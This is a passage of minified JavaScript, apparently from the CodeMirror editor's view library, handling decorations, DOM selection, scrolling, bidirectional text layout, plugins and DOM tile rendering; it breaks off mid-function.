D{constructor(e){super(-2e8,-2e8,null,e)}eq(e){return e instanceof Vn&&this.spec.class==e.spec.class&&zl(this.spec.attributes,e.spec.attributes)}range(e,t=e){if(t!=e)throw new RangeError("Line decoration ranges must be zero-length");return super.range(e,t)}}Vn.prototype.mapMode=De.TrackBefore;Vn.prototype.point=!0;class pi extends D{constructor(e,t,n,r,s,o){super(t,n,s,e),this.block=r,this.isReplace=o,this.mapMode=r?t<=0?De.TrackBefore:De.TrackAfter:De.TrackDel}get type(){return this.startSide!=this.endSide?Se.WidgetRange:this.startSide<=0?Se.WidgetBefore:Se.WidgetAfter}get heightRelevant(){return this.block||!!this.widget&&(this.widget.estimatedHeight>=5||this.widget.lineBreaks>0)}eq(e){return e instanceof pi&&Cb(this.widget,e.widget)&&this.block==e.block&&this.startSide==e.startSide&&this.endSide==e.endSide}range(e,t=e){if(this.isReplace&&(e>t||e==t&&this.startSide>0&&this.endSide<=0))throw new RangeError("Invalid range for replacement decoration");if(!this.isReplace&&t!=e)throw new RangeError("Widget decorations can only have zero-length ranges");return super.range(e,t)}}pi.prototype.point=!0;function jf(i,e=!1){let{inclusiveStart:t,inclusiveEnd:n}=i;return t==null&&(t=i.inclusive),n==null&&(n=i.inclusive),{start:t??e,end:n??e}}function Cb(i,e){return i==e||!!(i&&e&&i.compare(e))}function Ri(i,e,t,n=0){let r=t.length-1;r>=0&&t[r]+n>=i?t[r]=Math.max(t[r],e):t.push(i,e)}class Tn extends Vt{constructor(e,t,n){super(),this.tagName=e,this.attributes=t,this.rank=n}eq(e){return e==this||e instanceof Tn&&this.tagName==e.tagName&&zl(this.attributes,e.attributes)}static create(e){return new Tn(e.tagName,e.attributes||Br,e.rank==null?50:Math.max(0,Math.min(e.rank,100)))}static set(e,t=!1){return $.of(e,t)}}Tn.prototype.startSide=Tn.prototype.endSide=-1;function Mn(i){let e;return i.nodeType==11?e=i.getSelection?i:i.ownerDocument:e=i,e.getSelection()}function jo(i,e){return e?i==e||i.contains(e.nodeType!=1?e.parentNode:e):!1}function bn(i,e){if(!e.anchorNode)return!1;try{return jo(i,e.anchorNode)}catch{return!1}}function yn(i){return i.nodeType==3?En(i,0,i.nodeValue.length).getClientRects():i.nodeType==1?i.getClientRects():[]}function xn(i,e,t,n){return t?rh(i,e,t,n,-1)||rh(i,e,t,n,1):!1}function qt(i){for(var e=0;;e++)if(i=i.previousSibling,!i)return e}function Fr(i){return i.nodeType==1&&/^(DIV|P|LI|UL|OL|BLOCKQUOTE|DD|DT|H\d|SECTION|PRE)$/.test(i.nodeName)}function rh(i,e,t,n,r){for(;;){if(i==t&&e==n)return!0;if(e==(r<0?0:Lt(i))){if(i.nodeName=="DIV")return!1;let s=i.parentNode;if(!s||s.nodeType!=1)return!1;e=qt(i)+(r<0?0:1),i=s}else if(i.nodeType==1){if(i=i.childNodes[e+(r<0?-1:0)],i.nodeType==1&&i.contentEditable=="false")return!1;e=r<0?Lt(i):0}else return!1}}function Lt(i){return i.nodeType==3?i.nodeValue.length:i.childNodes.length}function Pn(i,e){let t=e?i.left:i.right;return{left:t,right:t,top:i.top,bottom:i.bottom}}function Ab(i){let e=i.visualViewport;return e?{left:0,right:e.width,top:0,bottom:e.height}:{left:0,right:i.innerWidth,top:0,bottom:i.innerHeight}}function Yf(i,e){let t=e.width/i.offsetWidth,n=e.height/i.offsetHeight;return(t>.995&&t<1.005||!isFinite(t)||Math.abs(e.width-i.offsetWidth)<1)&&(t=1),(n>.995&&n<1.005||!isFinite(n)||Math.abs(e.height-i.offsetHeight)<1)&&(n=1),{scaleX:t,scaleY:n}}function Tb(i,e,t,n,r,s,o,l){let a=i.ownerDocument,h=a.defaultView||window;for(let c=i,f=!1;c&&!f;)if(c.nodeType==1){let u,d=c==a.body,p=1,g=1;if(d)u=Ab(h);else{if(/^(fixed|sticky)$/.test(getComputedStyle(c).position)&&(f=!0),c.scrollHeight<=c.clientHeight&&c.scrollWidth<=c.clientWidth){c=c.assignedSlot||c.parentNode;continue}let x=c.getBoundingClientRect();({scaleX:p,scaleY:g}=Yf(c,x)),u={left:x.left,right:x.left+c.clientWidth*p,top:x.top,bottom:x.top+c.clientHeight*g}}let m=0,b=0;if(r=="nearest")e.top<u.top+o?(b=e.top-(u.top+o),t>0&&e.bottom>u.bottom+b&&(b=e.bottom-u.bottom+o)):e.bottom>u.bottom-o&&(b=e.bottom-u.bottom+o,t<0&&e.top-b<u.top&&(b=e.top-(u.top+o)));else{let x=e.bottom-e.top,S=u.bottom-u.top;b=(r=="center"&&x<=S?e.top+x/2-S/2:r=="start"||r=="center"&&t<0?e.top-o:e.bottom-S+o)-u.top}if(n=="nearest"?e.left<u.left+s?(m=e.left-(u.left+s),t>0&&e.right>u.right+m&&(m=e.right-u.right+s)):e.right>u.right-s&&(m=e.right-u.right+s,t<0&&e.left<u.left+m&&(m=e.left-(u.left+s))):m=(n=="center"?e.left+(e.right-e.left)/2-(u.right-u.left)/2:n=="start"==l?e.left-s:e.right-(u.right-u.left)+s)-u.left,m||b)if(d)h.scrollBy(m,b);else{let x=0,S=0;if(b){let M=c.scrollTop;c.scrollTop+=b/g,S=(c.scrollTop-M)*g}if(m){let M=c.scrollLeft;c.scrollLeft+=m/p,x=(c.scrollLeft-M)*p}e={left:e.left-x,top:e.top-S,right:e.right-x,bottom:e.bottom-S},x&&Math.abs(x-m)<1&&(n="nearest"),S&&Math.abs(S-b)<1&&(r="nearest")}if(d)break;(e.top<u.top||e.bottom>u.bottom||e.left<u.left||e.right>u.right)&&(e={left:Math.max(e.left,u.left),right:Math.min(e.right,u.right),top:Math.max(e.top,u.top),bottom:Math.min(e.bottom,u.bottom)}),c=c.assignedSlot||c.parentNode}else if(c.nodeType==11)c=c.host;else break}function Gf(i,e=!0){let t=i.ownerDocument,n=null,r=null;for(let s=i.parentNode;s&&!(s==t.body||(!e||n)&&r);)if(s.nodeType==1)!r&&s.scrollHeight>s.clientHeight&&(r=s),e&&!n&&s.scrollWidth>s.clientWidth&&(n=s),s=s.assignedSlot||s.parentNode;else if(s.nodeType==11)s=s.host;else break;return{x:n,y:r}}class Mb{constructor(){this.anchorNode=null,this.anchorOffset=0,this.focusNode=null,this.focusOffset=0}eq(e){return this.anchorNode==e.anchorNode&&this.anchorOffset==e.anchorOffset&&this.focusNode==e.focusNode&&this.focusOffset==e.focusOffset}setRange(e){let{anchorNode:t,focusNode:n}=e;this.set(t,Math.min(e.anchorOffset,t?Lt(t):0),n,Math.min(e.focusOffset,n?Lt(n):0))}set(e,t,n,r){this.anchorNode=e,this.anchorOffset=t,this.focusNode=n,this.focusOffset=r}}let ii=null;P.safari&&P.safari_version>=26&&(ii=!1);function Jf(i){if(i.setActive)return i.setActive();if(ii)return i.focus(ii);let e=[];for(let t=i;t&&(e.push(t,t.scrollTop,t.scrollLeft),t!=t.ownerDocument);t=t.parentNode);if(i.focus(ii==null?{get preventScroll(){return ii={preventScroll:!0},!0}}:void 0),!ii){ii=!1;for(let t=0;t<e.length;){let n=e[t++],r=e[t++],s=e[t++];n.scrollTop!=r&&(n.scrollTop=r),n.scrollLeft!=s&&(n.scrollLeft=s)}}}let sh;function En(i,e,t=e){let n=sh||(sh=document.createRange());return n.setEnd(i,t),n.setStart(i,e),n}function Ii(i,e,t,n){let r={key:e,code:e,keyCode:t,which:t,cancelable:!0};n&&({altKey:r.altKey,ctrlKey:r.ctrlKey,shiftKey:r.shiftKey,metaKey:r.metaKey}=n);let s=new KeyboardEvent("keydown",r);s.synthetic=!0,i.dispatchEvent(s);let o=new KeyboardEvent("keyup",r);return o.synthetic=!0,i.dispatchEvent(o),s.defaultPrevented||o.defaultPrevented}function Pb(i){for(;i;){if(i&&(i.nodeType==9||i.nodeType==11&&i.host))return i;i=i.assignedSlot||i.parentNode}return null}function Eb(i,e){let t=e.focusNode,n=e.focusOffset;if(!t||e.anchorNode!=t||e.anchorOffset!=n)return!1;for(n=Math.min(n,Lt(t));;)if(n){if(t.nodeType!=1)return!1;let r=t.childNodes[n-1];r.contentEditable=="false"?n--:(t=r,n=Lt(t))}else{if(t==i)return!0;n=qt(t),t=t.parentNode}}function Zf(i){return i instanceof Window?i.pageYOffset>Math.max(0,i.document.documentElement.scrollHeight-i.innerHeight-4):i.scrollTop>Math.max(1,i.scrollHeight-i.clientHeight-4)}function eu(i,e){for(let t=i,n=e;;){if(t.nodeType==3&&n>0)return{node:t,offset:n};if(t.nodeType==1&&n>0){if(t.contentEditable=="false")return null;t=t.childNodes[n-1],n=Lt(t)}else if(t.parentNode&&!Fr(t))n=qt(t),t=t.parentNode;else return null}}function tu(i,e){for(let t=i,n=e;;){if(t.nodeType==3&&n<t.nodeValue.length)return{node:t,offset:n};if(t.nodeType==1&&n<t.childNodes.length){if(t.contentEditable=="false")return null;t=t.childNodes[n],n=0}else if(t.parentNode&&!Fr(t))n=qt(t)+1,t=t.parentNode;else return null}}class tt{constructor(e,t,n=!0){this.node=e,this.offset=t,this.precise=n}static before(e,t){return new tt(e.parentNode,qt(e),t)}static after(e,t){return new tt(e.parentNode,qt(e)+1,t)}}var J=(function(i){return i[i.LTR=0]="LTR",i[i.RTL=1]="RTL",i})(J||(J={}));const gi=J.LTR,ql=J.RTL;function iu(i){let e=[];for(let t=0;t<i.length;t++)e.push(1<<+i[t]);return e}const Lb=iu("88888888888888888888888888888888888666888888787833333333337888888000000000000000000000000008888880000000000000000000000000088888888888888888888888888888888888887866668888088888663380888308888800000000000000000000000800000000000000000000000000000008"),Db=iu("4444448826627288999999999992222222222222222222222222222222222222222222222229999999999999999999994444444444644222822222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222999999949999999229989999223333333333"),Yo=Object.create(null),ht=[];for(let i of["()","[]","{}"]){let e=i.charCodeAt(0),t=i.charCodeAt(1);Yo[e]=t,Yo[t]=-e}function nu(i){return i<=247?Lb[i]:1424<=i&&i<=1524?2:1536<=i&&i<=1785?Db[i-1536]:1774<=i&&i<=2220?4:8192<=i&&i<=8204?256:64336<=i&&i<=65023?4:1}const Rb=/[\u0590-\u05f4\u0600-\u06ff\u0700-\u08ac\ufb50-\ufdff]/;class bt{get dir(){return this.level%2?ql:gi}constructor(e,t,n){this.from=e,this.to=t,this.level=n}side(e,t){return this.dir==t==e?this.to:this.from}forward(e,t){return e==(this.dir==t)}static find(e,t,n,r){let s=-1;for(let o=0;o<e.length;o++){let l=e[o];if(l.from<=t&&l.to>=t){if(l.level==n)return o;(s<0||(r!=0?r<0?l.from<t:l.to>t:e[s].level>l.level))&&(s=o)}}if(s<0)throw new RangeError("Index out of range");return s}}function ru(i,e){if(i.length!=e.length)return!1;for(let t=0;t<i.length;t++){let n=i[t],r=e[t];if(n.from!=r.from||n.to!=r.to||n.direction!=r.direction||!ru(n.inner,r.inner))return!1}return!0}const G=[];function Ib(i,e,t,n,r){for(let s=0;s<=n.length;s++){let o=s?n[s-1].to:e,l=s<n.length?n[s].from:t,a=s?256:r;for(let h=o,c=a,f=a;h<l;h++){let u=nu(i.charCodeAt(h));u==512?u=c:u==8&&f==4&&(u=16),G[h]=u==4?2:u,u&7&&(f=u),c=u}for(let h=o,c=a,f=a;h<l;h++){let u=G[h];if(u==128)h<l-1&&c==G[h+1]&&c&24?u=G[h]=c:G[h]=256;else if(u==64){let d=h+1;for(;d<l&&G[d]==64;)d++;let p=h&&c==8||d<t&&G[d]==8?f==1?1:8:256;for(let g=h;g<d;g++)G[g]=p;h=d-1}else u==8&&f==1&&(G[h]=1);c=u,u&7&&(f=u)}}}function Nb(i,e,t,n,r){let s=r==1?2:1;for(let o=0,l=0,a=0;o<=n.length;o++){let h=o?n[o-1].to:e,c=o<n.length?n[o].from:t;for(let f=h,u,d,p;f<c;f++)if(d=Yo[u=i.charCodeAt(f)])if(d<0){for(let g=l-3;g>=0;g-=3)if(ht[g+1]==-d){let m=ht[g+2],b=m&2?r:m&4?m&1?s:r:0;b&&(G[f]=G[ht[g]]=b),l=g;break}}else{if(ht.length==189)break;ht[l++]=f,ht[l++]=u,ht[l++]=a}else if((p=G[f])==2||p==1){let g=p==r;a=g?0:1;for(let m=l-3;m>=0;m-=3){let b=ht[m+2];if(b&2)break;if(g)ht[m+2]|=2;else{if(b&4)break;ht[m+2]|=4}}}}}function Bb(i,e,t,n){for(let r=0,s=n;r<=t.length;r++){let o=r?t[r-1].to:i,l=r<t.length?t[r].from:e;for(let a=o;a<l;){let h=G[a];if(h==256){let c=a+1;for(;;)if(c==l){if(r==t.length)break;c=t[r++].to,l=r<t.length?t[r].from:e}else if(G[c]==256)c++;else break;let f=s==1,u=(c<e?G[c]:n)==1,d=f==u?f?1:2:n;for(let p=c,g=r,m=g?t[g-1].to:i;p>a;)p==m&&(p=t[--g].from,m=g?t[g-1].to:i),G[--p]=d;a=c}else s=h,a++}}}function Go(i,e,t,n,r,s,o){let l=n%2?2:1;if(n%2==r%2)for(let a=e,h=0;a<t;){let c=!0,f=!1;if(h==s.length||a<s[h].from){let g=G[a];g!=l&&(c=!1,f=g==16)}let u=!c&&l==1?[]:null,d=c?n:n+1,p=a;e:for(;;)if(h<s.length&&p==s[h].from){if(f)break e;let g=s[h];if(!c)for(let m=g.to,b=h+1;;){if(m==t)break e;if(b<s.length&&s[b].from==m)m=s[b++].to;else{if(G[m]==l)break e;break}}if(h++,u)u.push(g);else{g.from>a&&o.push(new bt(a,g.from,d));let m=g.direction==gi!=!(d%2);Jo(i,m?n+1:n,r,g.inner,g.from,g.to,o),a=g.to}p=g.to}else{if(p==t||(c?G[p]!=l:G[p]==l))break;p++}u?Go(i,a,p,n+1,r,u,o):a<p&&o.push(new bt(a,p,d)),a=p}else for(let a=t,h=s.length;a>e;){let c=!0,f=!1;if(!h||a>s[h-1].to){let g=G[a-1];g!=l&&(c=!1,f=g==16)}let u=!c&&l==1?[]:null,d=c?n:n+1,p=a;e:for(;;)if(h&&p==s[h-1].to){if(f)break e;let g=s[--h];if(!c)for(let m=g.from,b=h;;){if(m==e)break e;if(b&&s[b-1].to==m)m=s[--b].from;else{if(G[m-1]==l)break e;break}}if(u)u.push(g);else{g.to<a&&o.push(new bt(g.to,a,d));let m=g.direction==gi!=!(d%2);Jo(i,m?n+1:n,r,g.inner,g.from,g.to,o),a=g.from}p=g.from}else{if(p==e||(c?G[p-1]!=l:G[p-1]==l))break;p--}u?Go(i,p,a,n+1,r,u,o):p<a&&o.push(new bt(p,a,d)),a=p}}function Jo(i,e,t,n,r,s,o){let l=e%2?2:1;Ib(i,r,s,n,l),Nb(i,r,s,n,l),Bb(r,s,n,l),Go(i,r,s,e,t,n,o)}function Fb(i,e,t){if(!i)return[new bt(0,0,e==ql?1:0)];if(e==gi&&!t.length&&!Rb.test(i))return su(i.length);if(t.length)for(;i.length>G.length;)G[G.length]=256;let n=[],r=e==gi?0:1;return Jo(i,r,r,t,0,i.length,n),n}function su(i){return[new bt(0,i,0)]}let ou="";function _b(i,e,t,n,r){var s;let o=n.head-i.from,l=bt.find(e,o,(s=n.bidiLevel)!==null&&s!==void 0?s:-1,n.assoc),a=e[l],h=a.side(r,t);if(o==h){let u=l+=r?1:-1;if(u<0||u>=e.length)return null;a=e[l=u],o=a.side(!r,t),h=a.side(r,t)}let c=pe(i.text,o,a.forward(r,t));(c<a.from||c>a.to)&&(c=h),ou=i.text.slice(Math.min(o,c),Math.max(o,c));let f=l==(r?e.length-1:0)?null:e[l+(r?1:-1)];return f&&c==h&&f.level+(r?0:1)<a.level?v.cursor(f.side(!r,t)+i.from,f.forward(r,t)?1:-1,f.level):v.cursor(c+i.from,a.forward(r,t)?-1:1,a.level)}function Wb(i,e,t){for(let n=e;n<t;n++){let r=nu(i.charCodeAt(n));if(r==1)return gi;if(r==2||r==4)return ql}return gi}const lu=T.define(),au=T.define(),hu=T.define(),cu=T.define(),Zo=T.define(),fu=T.define(),uu=T.define(),Ul=T.define(),Kl=T.define(),du=T.define({combine:i=>i.some(e=>e)}),pu=T.define({combine:i=>i.some(e=>e)}),gu=T.define();class Ni{constructor(e,t,n,r,s,o=!1){this.range=e,this.y=t,this.x=n,this.yMargin=r,this.xMargin=s,this.isSnapshot=o}map(e){return e.empty?this:new Ni(this.range.map(e),this.y,this.x,this.yMargin,this.xMargin,this.isSnapshot)}clip(e){return this.range.to<=e.doc.length?this:new Ni(v.cursor(e.doc.length),this.y,this.x,this.yMargin,this.xMargin,this.isSnapshot)}}const Jn=N.define({map:(i,e)=>i.map(e)}),mu=N.define();function Fe(i,e,t){let n=i.facet(cu);n.length?n[0](e):window.onerror&&window.onerror(String(e),t,void 0,void 0,e)||(t?console.error(t+":",e):console.error(e))}const At=T.define({combine:i=>i.length?i[0]:!0});let $b=0;const Oi=T.define({combine(i){return i.filter((e,t)=>{for(let n=0;n<t;n++)if(i[n].plugin==e.plugin)return!1;return!0})}});class se{constructor(e,t,n,r,s){this.id=e,this.create=t,this.domEventHandlers=n,this.domEventObservers=r,this.baseExtensions=s(this),this.extension=this.baseExtensions.concat(Oi.of({plugin:this,arg:void 0}))}of(e){return this.baseExtensions.concat(Oi.of({plugin:this,arg:e}))}static define(e,t){const{eventHandlers:n,eventObservers:r,provide:s,decorations:o}=t||{};return new se($b++,e,n,r,l=>{let a=[];return o&&a.push(ms.of(h=>{let c=h.plugin(l);return c?o(c):D.none})),s&&a.push(s(l)),a})}static fromClass(e,t){return se.define((n,r)=>new e(n,r),t)}}class Qs{constructor(e){this.spec=e,this.mustUpdate=null,this.value=null}get plugin(){return this.spec&&this.spec.plugin}update(e){if(this.value){if(this.mustUpdate){let t=this.mustUpdate;if(this.mustUpdate=null,this.value.update)try{this.value.update(t)}catch(n){if(Fe(t.state,n,"CodeMirror plugin crashed"),this.value.destroy)try{this.value.destroy()}catch{}this.deactivate()}}}else if(this.spec)try{this.value=this.spec.plugin.create(e,this.spec.arg)}catch(t){Fe(e.state,t,"CodeMirror plugin crashed"),this.deactivate()}return this}destroy(e){var t;if(!((t=this.value)===null||t===void 0)&&t.destroy)try{this.value.destroy()}catch(n){Fe(e.state,n,"CodeMirror plugin crashed")}}deactivate(){this.spec=this.value=null}}const bu=T.define(),Xl=T.define(),ms=T.define(),yu=T.define(),jl=T.define(),Qn=T.define(),xu=T.define();function oh(i,e){let t=i.state.facet(xu);if(!t.length)return t;let n=t.map(s=>s instanceof Function?s(i):s),r=[];return $.spans(n,e.from,e.to,{point(){},span(s,o,l,a){let h=s-e.from,c=o-e.from,f=r;for(let u=l.length-1;u>=0;u--,a--){let d=l[u].spec.bidiIsolate,p;if(d==null&&(d=Wb(e.text,h,c)),a>0&&f.length&&(p=f[f.length-1]).to==h&&p.direction==d)p.to=c,f=p.inner;else{let g={from:h,to:c,direction:d,inner:[]};f.push(g),f=g.inner}}}}),r}const vu=T.define();function Yl(i){let e=0,t=0,n=0,r=0;for(let s of i.state.facet(vu)){let o=s(i);o&&(o.left!=null&&(e=Math.max(e,o.left)),o.right!=null&&(t=Math.max(t,o.right)),o.top!=null&&(n=Math.max(n,o.top)),o.bottom!=null&&(r=Math.max(r,o.bottom)))}return{left:e,right:t,top:n,bottom:r}}const un=T.define();class Ke{constructor(e,t,n,r){this.fromA=e,this.toA=t,this.fromB=n,this.toB=r}join(e){return new Ke(Math.min(this.fromA,e.fromA),Math.max(this.toA,e.toA),Math.min(this.fromB,e.fromB),Math.max(this.toB,e.toB))}addToSet(e){let t=e.length,n=this;for(;t>0;t--){let r=e[t-1];if(!(r.fromA>n.toA)){if(r.toA<n.fromA)break;n=n.join(r),e.splice(t-1,1)}}return e.splice(t,0,n),e}static extendWithRanges(e,t){if(t.length==0)return e;let n=[];for(let r=0,s=0,o=0;;){let l=r<e.length?e[r].fromB:1e9,a=s<t.length?t[s]:1e9,h=Math.min(l,a);if(h==1e9)break;let c=h+o,f=h,u=c;for(;;)if(s<t.length&&t[s]<=f){let d=t[s+1];s+=2,f=Math.max(f,d);for(let p=r;p<e.length&&e[p].fromB<=f;p++)o=e[p].toA-e[p].toB;u=Math.max(u,d+o)}else if(r<e.length&&e[r].fromB<=f){let d=e[r++];f=Math.max(f,d.toB),u=Math.max(u,d.toA),o=d.toA-d.toB}else break;n.push(new Ke(c,u,h,f))}return n}}class _r{constructor(e,t,n){this.view=e,this.state=t,this.transactions=n,this.flags=0,this.startState=e.state,this.changes=he.empty(this.startState.doc.length);for(let s of n)this.changes=this.changes.compose(s.changes);let r=[];this.changes.iterChangedRanges((s,o,l,a)=>r.push(new Ke(s,o,l,a))),this.changedRanges=r}static create(e,t,n){return new _r(e,t,n)}get viewportChanged(){return(this.flags&4)>0}get viewportMoved(){return(this.flags&8)>0}get heightChanged(){return(this.flags&2)>0}get geometryChanged(){return this.docChanged||(this.flags&18)>0}get focusChanged(){return(this.flags&1)>0}get docChanged(){return!this.changes.empty}get selectionSet(){return this.transactions.some(e=>e.selection)}get empty(){return this.flags==0&&this.transactions.length==0}}const Hb=[];class re{constructor(e,t,n=0){this.dom=e,this.length=t,this.flags=n,this.parent=null,e.cmTile=this}get breakAfter(){return this.flags&1}get children(){return Hb}isWidget(){return!1}get isHidden(){return!1}isComposite(){return!1}isLine(){return!1}isText(){return!1}isBlock(){return!1}get domAttrs(){return null}sync(e){if(this.flags|=2,this.flags&4){this.flags&=-5;let t=this.domAttrs;t&&wb(this.dom,t)}}toString(){return this.constructor.name+(this.children.length?`(${this.children})`:"")+(this.breakAfter?"#":"")}destroy(){this.parent=null}setDOM(e){this.dom=e,e.cmTile=this}get posAtStart(){return this.parent?this.parent.posBefore(this):0}get posAtEnd(){return this.posAtStart+this.length}posBefore(e,t=this.posAtStart){let n=t;for(let r of this.children){if(r==e)return n;n+=r.length+r.breakAfter}throw new RangeError("Invalid child in posBefore")}posAfter(e){return this.posBefore(e)+e.length}covers(e){return!0}coordsIn(e,t){return null}domPosFor(e,t){let n=qt(this.dom),r=this.length?e>0:t>0;return new tt(this.parent.dom,n+(r?1:0),e==0||e==this.length)}markDirty(e){this.flags&=-3,e&&(this.flags|=4),this.parent&&this.parent.flags&2&&this.parent.markDirty(!1)}get overrideDOMText(){return null}get root(){for(let e=this;e;e=e.parent)if(e instanceof ys)return e;return null}static get(e){return e.cmTile}}class bs extends re{constructor(e){super(e,0),this._children=[]}isComposite(){return!0}get children(){return this._children}get lastChild(){return this.children.length?this.children[this.children.length-1]:null}append(e){this.children.push(e),e.parent=this}sync(e){if(this.flags&2)return;super.sync(e);let t=this.dom,n=null,r,s=e?.node==t?e:null,o=0;for(let l of this.children){if(l.sync(e),o+=l.length+l.breakAfter,r=n?n.nextSibling:t.firstChild,s&&r!=l.dom&&(s.written=!0),l.dom.parentNode==t)for(;r&&r!=l.dom;)r=lh(r);else t.insertBefore(l.dom,r);n=l.dom}for(r=n?n.nextSibling:t.firstChild,s&&r&&(s.written=!0);r;)r=lh(r);this.length=o}}function lh(i){let e=i.nextSibling;return i.parentNode.removeChild(i),e}class ys extends bs{constructor(e,t){super(t),this.view=e}owns(e){for(;e;e=e.parent)if(e==this)return!0;return!1}isBlock(){return!0}nearest(e){for(;;){if(!e)return null;let t=re.get(e);if(t&&this.owns(t))return t;e=e.parentNode}}blockTiles(e){for(let t=[],n=this,r=0,s=0;;)if(r==n.children.length){if(!t.length)return;n=n.parent,n.breakAfter&&s++,r=t.pop()}else{let o=n.children[r++];if(o instanceof Pt)t.push(r),n=o,r=0;else{let l=s+o.length,a=e(o,s);if(a!==void 0)return a;s=l+o.breakAfter}}}resolveBlock(e,t){let n,r=-1,s,o=-1;if(this.blockTiles((l,a)=>{let h=a+l.length;if(e>=a&&e<=h){if(l.isWidget()&&t>=-1&&t<=1){if(l.flags&32)return!0;l.flags&16&&(n=void 0)}(a<e||e==h&&(t<-1?l.length:l.covers(1)))&&(!n||!l.isWidget()&&n.isWidget())&&(n=l,r=e-a),(h>e||e==a&&(t>1?l.length:l.covers(-1)))&&(!s||!l.isWidget()&&s.isWidget())&&(s=l,o=e-a)}}),!n&&!s)throw new Error("No tile at position "+e);return n&&t<0||!s?{tile:n,offset:r}:{tile:s,offset:o}}}class Pt extends bs{constructor(e,t){super(e),this.wrapper=t}isBlock(){return!0}covers(e){return this.children.length?e<0?this.children[0].covers(-1):this.lastChild.covers(1):!1}get domAttrs(){return this.wrapper.attributes}static of(e,t){let n=new Pt(t||document.createElement(e.tagName),e);return t||(n.flags|=4),n}}class Qi extends bs{constructor(e,t){super(e),this.attrs=t}isLine(){return!0}static start(e,t,n){let r=new Qi(t||document.createElement("div"),e);return(!t||!n)&&(r.flags|=4),r}get domAttrs(){return this.attrs}resolveInline(e,t,n){let r=null,s=-1,o=null,l=-1;function a(c,f){for(let u=0,d=0;u<c.children.length&&d<=f;u++){let p=c.children[u],g=d+p.length;g>=f&&(p.isComposite()?a(p,f-d):(!o||o.isHidden&&(t>0||n&&Qb(o,p)))&&(g>f||p.flags&32)?(o=p,l=f-d):(d<f||p.flags&16&&!p.isHidden)&&(r=p,s=f-d)),d=g}}a(this,e);let h=(t<0?r:o)||r||o;return h?{tile:h,offset:h==r?s:l}:null}coordsIn(e,t){let n=this.resolveInline(e,t,!0);return n?n.tile.coordsIn(Math.max(0,n.offset),t):Vb(this)}domIn(e,t){let n=this.resolveInline(e,t);if(n){let{tile:r,offset:s}=n;if(this.dom.contains(r.dom))return r.isText()?new tt(r.dom,Math.min(r.dom.nodeValue.length,s)):r.domPosFor(s,r.flags&16?1:r.flags&32?-1:t);let o=n.tile.parent,l=!1;for(let a of o.children){if(l)return new tt(a.dom,0);a==n.tile&&(l=!0)}}return new tt(this.dom,0)}}function Vb(i){let e=i.dom.lastChild;if(!e)return i.dom.getBoundingClientRect();let t=yn(e);return t[t.length-1]||null}function Qb(i,e){let t=i.coordsIn(0,1),n=e.coordsIn(0,1);return t&&n&&n.top<t.bottom}class Be extends bs{constructor(e,t){super(e),this.mark=t}get domAttrs(){return this.mark.attrs}static of(e,t){let n=new Be(t||document.createElement(e.tagName),e);return t||(n.flags|=4),n}}class li extends re{constructor(e,t){super(e,t.length),this.text=t}sync(e){this.flags&2||(super.sync(e),this.dom.nodeValue!=this.text&&(e&&e.node==this.dom&&(e.written=!0),this.dom.nodeValue=this.text))}isText(){return!0}toString(){return JSON.stringify(this.text)}coordsIn(e,t){let n=this.dom.nodeValue.length;e>n&&(e=n);let r=e,s=e,o=0;e==0&&t<0||e==n&&t>=0?P.chrome||P.gecko||(e?(r--,o=1):s<n&&(s++,o=-1)):t<0?r--:s<n&&s++;let l=En(this.dom,r,s).getClientRects();if(!l.length)return null;let a=l[(o?o<0:t>=0)?0:l.length-1];return P.safari&&!o&&a.width==0&&(a=Array.prototype.find.call(l,h=>h.width)||a),o?Pn(a,o<0):a||null}static of(e,t){let n=new li(t||document.createTextNode(e),e);return t||(n.flags|=2),n}}class mi extends re{constructor(e,t,n,r){super(e,t,r),this.widget=n}isWidget(){return!0}get isHidden(){return this.widget.isHidden}covers(e){return this.flags&48?!1:(this.flags&(e<0?64:128))>0}coordsIn(e,t){return this.coordsInWidget(e,t,!1)}coordsInWidget(e,t,n){let r=this.widget.coordsAt(this.dom,e,t);if(r)return r;if(n)return Pn(this.dom.getBoundingClientRect(),this.length?e==0:t<=0);{let s=this.dom.getClientRects(),o=null;if(!s.length)return null;let l=this.flags&16?!0:this.flags&32?!1:e>0;for(let a=l?s.length-1:0;o=s[a],!(e>0?a==0:a==s.length-1||o.top<o.bottom);a+=l?-1:1);return Pn(o,!l)}}get overrideDOMText(){if(!this.length)return z.empty;let{root:e}=this;if(!e)return z.empty;let t=this.posAtStart;return e.view.state.doc.slice(t,t+this.length)}destroy(){super.destroy(),this.widget.destroy(this.dom)}static of(e,t,n,r,s){return s||(s=e.toDOM(t),e.editable||(s.contentEditable="false")),new mi(s,n,e,r)}}class Wr extends re{constructor(e){let t=document.createElement("img");t.className="cm-widgetBuffer",t.setAttribute("aria-hidden","true"),super(t,0,e)}get isHidden(){return!0}get overrideDOMText(){return z.empty}coordsIn(e){return this.dom.getBoundingClientRect()}}class zb{constructor(e){this.index=0,this.beforeBreak=!1,this.parents=[],this.tile=e}advance(e,t,n){let{tile:r,index:s,beforeBreak:o,parents:l}=this;for(;e||t>0;)if(r.isComposite())if(o){if(!e)break;n&&n.break(),e--,o=!1}else if(s==r.children.length){if(!e&&!l.length)break;n&&n.leave(r),o=!!r.breakAfter,{tile:r,index:s}=l.pop(),s++}else{let a=r.children[s],h=a.breakAfter;(t>0?a.length<=e:a.length<e)&&(!n||n.skip(a,0,a.length)!==!1||!a.isComposite)?(o=!!h,s++,e-=a.length):(l.push({tile:r,index:s}),r=a,s=0,n&&a.isComposite()&&n.enter(a))}else if(s==r.length)o=!!r.breakAfter,{tile:r,index:s}=l.pop(),s++;else if(e){let a=Math.min(e,r.length-s);n&&n.skip(r,s,s+a),e-=a,s+=a}else break;return this.tile=r,this.index=s,this.beforeBreak=o,this}get root(){return this.parents.length?this.parents[0].tile:this.tile}}class qb{constructor(e,t,n,r){this.from=e,this.to=t,this.wrapper=n,this.rank=r}}class Ub{constructor(e,t,n){this.cache=e,this.root=t,this.blockWrappers=n,this.curLine=null,this.lastBlock=null,this.afterWidget=null,this.pos=0,this.wrappers=[],this.wrapperPos=0}addText(e,t,n,r){var s;this.flushBuffer();let o=this.ensureMarks(t,n),l=o.lastChild;if(l&&l.isText()&&!(l.flags&8)&&l.length+e.length<512){this.cache.reused.set(l,2);let a=o.children[o.children.length-1]=new li(l.dom,l.text+e);a.parent=o}else o.append(r||li.of(e,(s=this.cache.find(li))===null||s===void 0?void 0:s.dom));this.pos+=e.length,this.afterWidget=null}addComposition(e,t){let 